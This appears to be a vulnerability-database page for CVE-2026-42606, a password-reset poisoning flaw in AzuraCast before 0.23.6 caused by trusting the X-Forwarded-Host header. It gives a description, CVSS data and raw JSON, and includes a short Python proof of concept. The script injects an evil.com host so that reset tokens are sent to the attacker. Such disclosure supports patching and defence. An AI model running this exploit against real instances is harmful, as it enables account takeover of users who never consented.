Security Vulnerability Report
中文
CVE-2026-42606 CVSS 8.1 HIGH

CVE-2026-42606

Published: 2026-05-09 20:16:30
Last Modified: 2026-05-09 20:16:30

Description

AzuraCast is a self-hosted, all-in-one web radio management suite. Prior to version 0.23.6, the ApplyXForwarded middleware unconditionally trusts the client-supplied X-Forwarded-Host HTTP header with no trusted proxy allowlist. An unauthenticated attacker can poison the password reset URL sent to any user by injecting this header when triggering the forgot-password flow. When the victim clicks the poisoned link, their reset token is exfiltrated to the attacker's server. The attacker then uses the token on the real instance to reset the victim's password and destroy their 2FA configuration, achieving full account takeover. This issue has been patched in version 0.23.6.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N

Configurations (Affected Products)

No configuration data available.

AzuraCast < 0.23.6

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests target_url = "http://target-azuracast.com/forgot-password" attacker_domain = "http://evil.com" headers = { "X-Forwarded-Host": attacker_domain, "User-Agent": "PoC-Scanner/1.0" } data = { "email": "[email protected]" } # Send malicious request to poison the password reset link response = requests.post(target_url, headers=headers, data=data) if response.status_code == 200: print("[+] Password reset triggered successfully.") print(f"[+] Check {attacker_domain} logs for the reset token.") else: print("[-] Failed to trigger reset.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-42606", "sourceIdentifier": "[email protected]", "published": "2026-05-09T20:16:30.170", "lastModified": "2026-05-09T20:16:30.170", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "AzuraCast is a self-hosted, all-in-one web radio management suite. Prior to version 0.23.6, the ApplyXForwarded middleware unconditionally trusts the client-supplied X-Forwarded-Host HTTP header with no trusted proxy allowlist. An unauthenticated attacker can poison the password reset URL sent to any user by injecting this header when triggering the forgot-password flow. When the victim clicks the poisoned link, their reset token is exfiltrated to the attacker's server. The attacker then uses the token on the real instance to reset the victim's password and destroy their 2FA configuration, achieving full account takeover. This issue has been patched in version 0.23.6."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-640"}]}], "references": [{"url": "https://github.com/AzuraCast/AzuraCast/commit/7c622a18b451533de317e53862b1f84acf4efd85", "source": "[email protected]"}, {"url": "https://github.com/AzuraCast/AzuraCast/releases/tag/0.23.6", "source": "[email protected]"}, {"url": "https://github.com/AzuraCast/AzuraCast/security/advisories/GHSA-gv7r-3mr9-h5x8", "source": "[email protected]"}]}}